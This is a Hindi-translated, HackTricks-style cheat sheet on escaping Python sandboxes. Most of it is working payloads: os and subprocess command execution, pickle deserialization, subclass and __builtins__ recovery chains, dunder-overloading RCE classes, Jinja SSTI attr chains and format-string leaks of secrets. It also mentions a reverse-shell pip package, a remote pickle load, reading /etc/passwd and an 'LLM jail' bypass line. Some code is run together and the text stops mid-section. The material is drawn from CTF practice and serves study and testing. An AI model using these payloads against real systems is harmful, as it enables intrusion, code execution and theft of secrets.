अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें
महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव है। हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह को मैप करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
ये कुछ ट्रिक्स हैं जो पायथन सैंडबॉक्स सुरक्षा को बायपास करने और मनमाने कमांड निष्पादित करने के लिए हैं।
कमांड निष्पादन पुस्तकालय
आपको पहली बात यह जाननी चाहिए कि क्या आप किसी पहले से आयातित पुस्तकालय के साथ सीधे कोड निष्पादित कर सकते हैं, या क्या आप इनमें से किसी भी पुस्तकालय को आयात कर सकते हैं:
os.system("ls")os.popen("ls").read()commands.getstatusoutput("ls")commands.getoutput("ls")commands.getstatus("file/path")subprocess.call("ls", shell=True)subprocess.Popen("ls", shell=True)pty.spawn("ls")pty.spawn("/bin/bash")platform.os.system("ls")pdb.os.system("ls")#Import functions to execute commandsimportlib.import_module("os").system("ls")importlib.__import__("os").system("ls")imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")imp.os.system("ls")imp.sys.modules["os"].system("ls")sys.modules["os"].system("ls")__import__("os").system("ls")import osfrom os import*#Other interesting functionsopen("/etc/passwd").read()open('/var/www/html/input', 'w').write('123')#In Python2.7execfile('/usr/lib/python2.7/os.py')system('ls')
याद रखें कि open और read फ़ंक्शन फाइलों को पढ़ने के लिए और कुछ कोड लिखने के लिए उपयोगी हो सकते हैं जिसे आप execute कर सकते हैं ताकि sandbox को bypass किया जा सके।
Python2 input() फ़ंक्शन प्रोग्राम क्रैश होने से पहले पायथन कोड को निष्पादित करने की अनुमति देता है।
पायथन पहले वर्तमान निर्देशिका से पुस्तकालयों को लोड करने की कोशिश करता है (निम्नलिखित कमांड यह प्रिंट करेगा कि पायथन मॉड्यूल कहाँ से लोड कर रहा है): python3 -c 'import sys; print(sys.path)'
डिफ़ॉल्ट स्थापित पायथन पैकेज के साथ पिक्ल सैंडबॉक्स को बायपास करें
#Note that here we are importing the pip library so the pickle is created correctly#however, the victim doesn't even need to have the library installed to execute it#the library is going to be loaded automaticallyimport pickle, os, base64, pipclassP(object):def__reduce__(self):return (pip.main,(["list"],))print(base64.b64encode(pickle.dumps(P(), protocol=0)))
आप पैकेज को रिवर्स शेल बनाने के लिए यहाँ डाउनलोड कर सकते हैं। कृपया ध्यान दें कि इसका उपयोग करने से पहले आपको इसे डिकंप्रेस करना चाहिए, setup.py को बदलना चाहिए, और रिवर्स शेल के लिए अपना IP डालना चाहिए:
यह पैकेज Reverse कहलाता है। हालाँकि, इसे इस तरह से तैयार किया गया है कि जब आप रिवर्स शेल से बाहर निकलते हैं तो बाकी की स्थापना विफल हो जाएगी, इसलिए आप सर्वर पर कोई अतिरिक्त पायथन पैकेज स्थापित नहीं छोड़ेंगे जब आप बाहर निकलेंगे।
पायथन कोड का मूल्यांकन करना
ध्यान दें कि exec मल्टीलाइन स्ट्रिंग्स और ";" की अनुमति देता है, लेकिन eval नहीं (वालरस ऑपरेटर की जाँच करें)
यदि कुछ वर्ण निषिद्ध हैं तो आप hex/octal/B64 प्रतिनिधित्व का उपयोग करके bypass प्रतिबंध कर सकते हैं:
exec("print('RCE'); __import__('os').system('ls')")#Using ";"exec("print('RCE')\n__import__('os').system('ls')")#Using "\n"eval("__import__('os').system('ls')")#Eval doesn't allow ";"eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))#This way eval accept ";"__import__('timeit').timeit("__import__('os').system('ls')",number=1)#One liners that allow new lines and tabseval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
अन्य पुस्तकालय जो पायथन कोड को eval करने की अनुमति देते हैं
#Pandasimport pandas as pddf = pd.read_csv("currency-rates.csv")df.query('@__builtins__.__import__("os").system("ls")')df.query("@pd.io.common.os.popen('ls').read()")df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")# The previous options work but others you might try give the error:# Only named functions are supported# Like:df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
ऑपरेटर और छोटे ट्रिक्स
# walrus operator allows generating variable inside a list## everything will be executed in order## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/[a:=21,a*2][y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
Bypassing protections through encodings (UTF-7)
In इस लेख UFT-7 का उपयोग एक स्पष्ट सैंडबॉक्स के अंदर मनमाने python कोड को लोड और निष्पादित करने के लिए किया जाता है:
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/@exec@inputclassX:pass# The previous code is equivalent to:classX:passX =input(X)X =exec(X)# So just send your python code when prompted and it will be executed# Another approach without calling input:@eval@'__import__("os").system("sh")'.formatclass_:pass
RCE ऑब्जेक्ट बनाना और ओवरलोडिंग
यदि आप क्लास घोषित कर सकते हैं और उस क्लास का ऑब्जेक्ट बना सकते हैं, तो आप विभिन्न विधियों को लिख/ओवरराइट कर सकते हैं जो ट्रिगर हो सकती हैं बिना उन्हें प्रत्यक्ष रूप से कॉल किए।
कस्टम क्लासेस के साथ RCE
आप कुछ क्लास विधियों को (मौजूदा क्लास विधियों को ओवरराइट करके या एक नई क्लास बनाकर) संशोधित कर सकते हैं ताकि वे ट्रिगर होने पर मनमाना कोडनिष्पादित कर सकें बिना उन्हें प्रत्यक्ष रूप से कॉल किए।
# This class has 3 different ways to trigger RCE without directly calling any functionclassRCE:def__init__(self):self +="print('Hello from __init__ + __iadd__')"__iadd__=exec#Triggered when object is createddef__del__(self):self -="print('Hello from __del__ + __isub__')"__isub__=exec#Triggered when object is created__getitem__=exec#Trigerred with obj[<argument>]__add__=exec#Triggered with obj + <argument># These lines abuse directly the previous class to get RCErce =RCE()#Later we will see how to create objects without calling the constructorrce["print('Hello from __getitem__')"]rce +"print('Hello from __add__')"del rce# These lines will get RCE when the program is over (exit)sys.modules["pwnd"]=RCE()exit()# Other functions to overwrite__sub__ (k -'import os; os.system("sh")')__mul__ (k *'import os; os.system("sh")')__floordiv__ (k //'import os; os.system("sh")')__truediv__ (k /'import os; os.system("sh")')__mod__ (k %'import os; os.system("sh")')__pow__ (k**'import os; os.system("sh")')__lt__ (k <'import os; os.system("sh")')__le__ (k <='import os; os.system("sh")')__eq__ (k =='import os; os.system("sh")')__ne__ (k !='import os; os.system("sh")')__ge__ (k >='import os; os.system("sh")')__gt__ (k >'import os; os.system("sh")')__iadd__ (k +='import os; os.system("sh")')__isub__ (k -='import os; os.system("sh")')__imul__ (k *='import os; os.system("sh")')__ifloordiv__ (k //='import os; os.system("sh")')__idiv__ (k /='import os; os.system("sh")')__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %='import os; os.system("sh")')__ipow__ (k **='import os; os.system("sh")')__ilshift__ (k<<='import os; os.system("sh")')__irshift__ (k >>='import os; os.system("sh")')__iand__ (k ='import os; os.system("sh")')__ior__ (k |='import os; os.system("sh")')__ixor__ (k ^='import os; os.system("sh")')
मेटाक्लास हमें जो मुख्य चीज़ करने की अनुमति देता है वह है क्लास का एक उदाहरण बनाना, बिना सीधे कंस्ट्रक्टर को कॉल किए, लक्षित क्लास को मेटाक्लास के रूप में एक नई क्लास बनाकर।
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed# This will define the members of the "subclass"classMetaclass(type):__getitem__=exec# So Sub[string] will execute exec(string)# Note: Metaclass.__class__ == typeclassSub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclasspass# Nothing special to doSub['import os; os.system("sh")']## You can also use the tricks from the previous section to get RCE with this object
Creating objects with exceptions
जब एक exception उत्पन्न होता है तो Exception का एक ऑब्जेक्ट बनाया जाता है बिना आपको सीधे कंस्ट्रक्टर को कॉल किए (एक ट्रिक @_nag0mez से):
classRCE(Exception):def__init__(self):self +='import os; os.system("sh")'__iadd__=exec#Triggered when object is createdraise RCE #Generate RCE object# RCE with __add__ overloading and try/except + raise generated objectclassKlecko(Exception):__add__=exectry:raise Kleckoexcept Klecko as k:k +'import os; os.system("sh")'#RCE abusing __add__## You can also use the tricks from the previous section to get RCE with this object
अधिक RCE
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/# If sys is imported, you can sys.excepthook and trigger it by triggering an errorclassX:def__init__(self,a,b,c):self +="os.system('sh')"__iadd__=execsys.excepthook = X1/0#Trigger it# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py# The interpreter will try to import an apt-specific module to potentially# report an error in ubuntu-provided modules.# Therefore the __import__ functions are overwritten with our RCEclassX():def__init__(self,a,b,c,d,e):self +="print(open('flag').read())"__iadd__=eval__builtins__.__import__ = X{}[1337]
बिल्टइन्स मदद और लाइसेंस के साथ फ़ाइल पढ़ें
__builtins__.__dict__["license"]._Printer__filenames=["flag"]a =__builtins__.helpa.__class__.__enter__=__builtins__.__dict__["license"]a.__class__.__exit__=lambdaself,*args: Nonewith (a as b):pass
यदि आप __builtins__ ऑब्जेक्ट तक पहुँच सकते हैं, तो आप लाइब्रेरीज़ आयात कर सकते हैं (ध्यान दें कि आप यहाँ पिछले अनुभाग में दिखाए गए अन्य स्ट्रिंग प्रतिनिधित्व का भी उपयोग कर सकते हैं):
जब आपके पास __builtins__ नहीं है, तो आप कुछ भी आयात नहीं कर पाएंगे और न ही फ़ाइलें पढ़ या लिख पाएंगे क्योंकि सभी वैश्विक फ़ंक्शन (जैसे open, import, print...) लोड नहीं होते।
हालांकि, डिफ़ॉल्ट रूप से पायथन मेमोरी में बहुत सारे मॉड्यूल आयात करता है। ये मॉड्यूल निर्दोष लग सकते हैं, लेकिन इनमें से कुछ खतरनाक कार्यक्षमताएँ भी आयात कर रहे हैं जिन्हें मनमाने कोड निष्पादन प्राप्त करने के लिए एक्सेस किया जा सकता है।
निम्नलिखित उदाहरणों में आप देख सकते हैं कि कैसे कुछ इस "निर्दोष" मॉड्यूल का दुरुपयोग करके खतरनाककार्यक्षमताओं तक पहुँच किया जा सकता है।
Python2
#Try to reload __builtins__reload(__builtins__)import __builtin__# Read recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()# Write recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')# Execute (another method)().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
# Or you could obtain the builtins from a defined functionget_flag.__globals__['__builtins__']['__import__']("os").system("ls")
Python3
# Obtain builtins from a globally defined function# https://docs.python.org/3/library/functions.htmlhelp.__call__.__builtins__# or __globals__license.__call__.__builtins__# or __globals__credits.__call__.__builtins__# or __globals__print.__self__dir.__self__globals.__self__len.__self____build_class__.__self__# Obtain the builtins from a defined functionget_flag.__globals__['__builtins__']# Get builtins from loaded classes[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
नीचे एक बड़ा फ़ंक्शन है जो दर्जनों/सैकड़ोंजगहों को खोजने के लिए है जहाँ आप builtins पा सकते हैं।
Python2 और Python3
# Recover __builtins__ and make everything easier__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
बिल्ट-इन पेलोड्स
# Possible payloads once you have found the builtins__builtins__["open"]("/etc/passwd").read()__builtins__["__import__"]("os").system("ls")# There are lots of other payloads that can be abused to execute commands# See them below
Globals and locals
globals और locals की जांच करना यह जानने का एक अच्छा तरीका है कि आप क्या एक्सेस कर सकते हैं।
यहाँ मैं समझाना चाहता हूँ कि कैसे आसानी से ज़्यादा खतरनाक कार्यक्षमताओं को लोड किया जा सकता है और अधिक विश्वसनीय हमलों का प्रस्ताव दिया जा सकता है।
बायपास के साथ उपकक्षों तक पहुँच
इस तकनीक के सबसे संवेदनशील हिस्सों में से एक है बेस उपकक्षों तक पहुँच प्राप्त करना। पिछले उदाहरणों में यह ''.__class__.__base__.__subclasses__() का उपयोग करके किया गया था लेकिन अन्य संभावित तरीके भी हैं:
#You can access the base from mostly anywhere (in regular conditions)"".__class__.__base__.__subclasses__()[].__class__.__base__.__subclasses__(){}.__class__.__base__.__subclasses__()().__class__.__base__.__subclasses__()(1).__class__.__base__.__subclasses__()bool.__class__.__base__.__subclasses__()print.__class__.__base__.__subclasses__()open.__class__.__base__.__subclasses__()defined_func.__class__.__base__.__subclasses__()#You can also access it without "__base__" or "__class__"# You can apply the previous technique also here"".__class__.__bases__[0].__subclasses__()"".__class__.__mro__[1].__subclasses__()"".__getattribute__("__class__").mro()[1].__subclasses__()"".__getattribute__("__class__").__base__.__subclasses__()# This can be useful in case it is not possible to make calls (therefore using decorators)().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec
#If attr is present you can access everything as a string# This is common in Django (and Jinja) environments(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
खतरनाक पुस्तकालयों का पता लगाना
उदाहरण के लिए, यह जानकर कि पुस्तकालय sys के साथ मनमाने पुस्तकालयों को आयात करना संभव है, आप उन सभी मॉड्यूल्स की खोज कर सकते हैं जिन्होंने उनके अंदर sys को आयात किया है:
बहुत सारे हैं, और हमें केवल एक की आवश्यकता है आदेश निष्पादित करने के लिए:
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
हम वही काम अन्य पुस्तकालयों के साथ कर सकते हैं जिन्हें हम जानते हैं कि आदेशों को निष्पादित करने के लिए उपयोग किया जा सकता है:
#os[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'os."instr(x) ][0]['system']('ls')#subprocess[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in''.__class__.__base__.__subclasses__()if"'subprocess."instr(x) ][0]['Popen']('ls')[ x for x in''.__class__.__base__.__subclasses__()if x.__name__=='Popen' ][0]('ls')#builtins[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
#sys[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
#commands (not very common)[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
#pty (not very common)[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
#importlib[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
#pdb[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
इसके अलावा, हम यह भी खोज सकते हैं कि कौन से मॉड्यूल दुर्भावनापूर्ण पुस्तकालय लोड कर रहे हैं:
इसके अलावा, यदि आप सोचते हैं कि अन्य पुस्तकालयकमांड निष्पादित करने के लिए फ़ंक्शन को कॉल कर सकते हैं, तो हम संभावित पुस्तकालयों के भीतर फ़ंक्शन नामों द्वारा भी फ़िल्टर कर सकते हैं:
यह बस शानदार है। यदि आप globals, builtins, open या किसी अन्य वस्तु की तलाश कर रहे हैं तो बस इस स्क्रिप्ट का उपयोग करें जहाँ आप उस वस्तु को खोज सकते हैं, वहाँ पुनरावृत्त रूप से खोजने के लिए।
import os, sys # Import these to find more gadgetsSEARCH_FOR ={# Misc"__globals__":set(),"builtins":set(),"__builtins__":set(),"open":set(),# RCE libs"os":set(),"subprocess":set(),"commands":set(),"pty":set(),"importlib":set(),"imp":set(),"sys":set(),"pip":set(),"pdb":set(),# RCE methods"system":set(),"popen":set(),"getstatusoutput":set(),"getoutput":set(),"call":set(),"Popen":set(),"popen":set(),"spawn":set(),"import_module":set(),"__import__":set(),"load_source":set(),"execfile":set(),"execute":set()}#More than 4 is very time consumingMAX_CONT =4#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found#ALREADY_CHECKED = set()defcheck_recursive(element,cont,name,orig_n,orig_i,execute):# If bigger than maximum, stopif cont > MAX_CONT:return# If already checked, stop#if name and name in ALREADY_CHECKED:# return# Add to already checked#if name:# ALREADY_CHECKED.add(name)# If found add to the dictfor k in SEARCH_FOR:if k indir(element)or (type(element)isdictand k in element):SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")# Continue with the recursivityfor new_element indir(element):try:check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)# WARNING: Calling random functions sometimes kills the script# Comment this part if you notice that behaviour!!if execute:try:ifcallable(getattr(element, new_element)):check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)except:passexcept:pass# If in a dict, scan also each key, very importantiftype(element)isdict:for new_element in element:check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)defmain():print("Checking from empty string...")total = [""]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Empty str {i}", True)print()print("Checking loaded subclasses...")total ="".__class__.__base__.__subclasses__()for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Subclass {i}", True)print()print("Checking from global functions...")total = [print, check_recursive]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Global func {i}", False)print()print(SEARCH_FOR)if__name__=="__main__":main()
आप इस स्क्रिप्ट का आउटपुट इस पृष्ठ पर देख सकते हैं:
यदि आप python को एक स्ट्रिंग भेजते हैं जो फॉर्मेट होने वाली है, तो आप python आंतरिक जानकारी तक पहुँचने के लिए {} का उपयोग कर सकते हैं। आप उदाहरण के लिए ग्लोबल्स या बिल्ट-इन्स तक पहुँचने के लिए पिछले उदाहरणों का उपयोग कर सकते हैं।
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/CONFIG ={"KEY":"ASXFYFGK78989"}classPeopleInfo:def__init__(self,fname,lname):self.fname = fnameself.lname = lnamedefget_name_for_avatar(avatar_str,people_obj):return avatar_str.format(people_obj = people_obj)people =PeopleInfo('GEEKS', 'FORGEEKS')st ="{people_obj.__init__.__globals__[CONFIG][KEY]}"get_name_for_avatar(st, people_obj = people)
ध्यान दें कि आप attributes को सामान्य तरीके से dot के साथ people_obj.__init__ और dict element को parenthesis के साथ बिना कोट्स के __globals__[CONFIG] से access कर सकते हैं।
यह भी ध्यान दें कि आप .__dict__ का उपयोग करके एक ऑब्जेक्ट के तत्वों को सूचीबद्ध कर सकते हैं get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)।
फॉर्मेट स्ट्रिंग्स की कुछ अन्य दिलचस्प विशेषताएँ हैं, जैसे कि निर्दिष्ट ऑब्जेक्ट में str, repr और ascii फ़ंक्शंस को !s, !r, !a जोड़कर executing करने की संभावना:
st ="{people_obj.__init__.__globals__[CONFIG][KEY]!a}"get_name_for_avatar(st, people_obj = people)
इसके अलावा, कक्षाओं में नए फॉर्मेटर्स को कोड करना संभव है:
classHAL9000(object):def__format__(self,format):if (format=='open-the-pod-bay-doors'):return"I'm afraid I can't do that."return'HAL 9000''{:open-the-pod-bay-doors}'.format(HAL9000())#I'm afraid I can't do that.
{whoami.__class__.__dict__}{whoami.__globals__[os].__dict__}{whoami.__globals__[os].environ}{whoami.__globals__[sys].path}{whoami.__globals__[sys].modules}# Access an element through several links{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}# Example from https://corgi.rip/posts/buckeye-writeups/secret_variable ="clueless"x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')str(x)# Out: clueless
LLM Jails bypass
From here: ().class.base.subclasses()[108].load_module('os').system('dir')
From format to RCE loading libraries
According to the TypeMonkey chall from this writeup यह संभव है कि डिस्क से मनमाने लाइब्रेरी को लोड किया जाए, जो कि पायथन में फॉर्मेट स्ट्रिंग वल्नरेबिलिटी का दुरुपयोग करता है।
याद दिलाने के लिए, हर बार जब पायथन में कोई क्रिया की जाती है, तो कुछ फ़ंक्शन निष्पादित होता है। उदाहरण के लिए 2*3(2).mul(3) या {'a':'b'}['a']{'a':'b'}.__getitem__('a') को निष्पादित करेगा।
एक पायथन फॉर्मेट स्ट्रिंग वल्नरेबिलिटी फ़ंक्शन को निष्पादित करने की अनुमति नहीं देती (यह कोष्ठक का उपयोग करने की अनुमति नहीं देती), इसलिए RCE प्राप्त करना संभव नहीं है जैसे '{0.system("/bin/sh")}'.format(os)।
हालांकि, [] का उपयोग करना संभव है। इसलिए, यदि एक सामान्य पायथन लाइब्रेरी में __getitem__ या __getattr__ विधि है जो मनमाना कोड निष्पादित करती है, तो RCE प्राप्त करने के लिए उनका दुरुपयोग करना संभव है।
पायथन में इस तरह के गैजेट की तलाश करते हुए, लेख में यह Github search query प्रस्तुत किया गया है। जहाँ उन्होंने यह एक पाया:
यह उपकरण डिस्क से एक पुस्तकालय लोड करने की अनुमति देता है। इसलिए, इसे किसी न किसी तरह पुस्तकालय को लिखने या अपलोड करने की आवश्यकता है जो हमले के शिकार सर्वर पर सही ढंग से संकलित हो।
dir()#General dir() to find what we have loaded['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag)#Get info tof the function['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
globals
__globals__ और func_globals(एक समान) वैश्विक वातावरण प्राप्त करता है। उदाहरण में आप कुछ आयातित मॉड्यूल, कुछ वैश्विक चर और उनके घोषित सामग्री देख सकते हैं:
get_flag.func_globalsget_flag.__globals__{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}
#If you have access to some variable valueCustomClassObject.__class__.__init__.__globals__
__code__ और func_code: आप फंक्शन के इस attribute को प्राप्त करने के लिए एक्सेस कर सकते हैं कोड ऑब्जेक्ट फंक्शन का।
# In our current exampleget_flag.__code__<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1# Compiling some python codecompile("print(5)", "", "single")<code object<module> at 0x7f9ca01330c0, file "", line 1>#Get the attributes of the code objectdir(get_flag.__code__)['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
कोड जानकारी प्राप्त करना
# Another examples ='''a = 5b = 'text'def f(x):return xf(5)'''c=compile(s, "", "exec")# __doc__: Get the description of the function, if anyprint.__doc__# co_consts: Constantsget_flag.__code__.co_consts(None,1,'secretcode','some','array','THIS-IS-THE-FALG!','Nope')c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.(5,'text',<code object f at 0x7f9ca0133540, file "", line 4>,'f',None# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
get_flag.__code__.co_names()c.co_names('a','b','f')#co_varnames: Local names used by the bytecode (arguments first, then the local variables)get_flag.__code__.co_varnames('some_input','var1','var2','var3')#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.get_flag.__code__.co_cellvars()#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.get_flag.__code__.co_freevars()#Get bytecodeget_flag.__code__.co_code'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
ध्यान दें कि यदि आप python sandbox में dis आयात नहीं कर सकते तो आप फ़ंक्शन का bytecode प्राप्त कर सकते हैं (get_flag.func_code.co_code) और इसे स्थानीय रूप से disassemble कर सकते हैं। आप लोड हो रहे वेरिएबल्स की सामग्री नहीं देखेंगे (LOAD_CONST) लेकिन आप उन्हें (get_flag.func_code.co_consts) से अनुमान लगा सकते हैं क्योंकि LOAD_CONST भी लोड हो रहे वेरिएबल का ऑफसेट बताता है।
अब, चलिए कल्पना करते हैं कि किसी तरह आप एक फ़ंक्शन के बारे में जानकारी निकाल सकते हैं जिसे आप निष्पादित नहीं कर सकते लेकिन आपको इसे निष्पादित करने की आवश्यकता है।
जैसे कि निम्नलिखित उदाहरण में, आप उस फ़ंक्शन का कोड ऑब्जेक्ट एक्सेस कर सकते हैं, लेकिन केवल डिस्सेम्बल पढ़ने से आप फ्लैग की गणना कैसे करें यह नहीं जानते (एक अधिक जटिल calc_flag फ़ंक्शन की कल्पना करें)
defget_flag(some_input):var1=1var2="secretcode"var3=["some","array"]defcalc_flag(flag_rot2):return''.join(chr(ord(c)-2) for c in flag_rot2)if some_input == var2:returncalc_flag("VjkuKuVjgHnci")else:return"Nope"
कोड ऑब्जेक्ट बनाना
सबसे पहले, हमें यह जानने की आवश्यकता है कि कोड ऑब्जेक्ट कैसे बनाया और निष्पादित किया जाता है ताकि हम एक बना सकें जो हमारे फ़ंक्शन को निष्पादित करे जो लीक हुआ है:
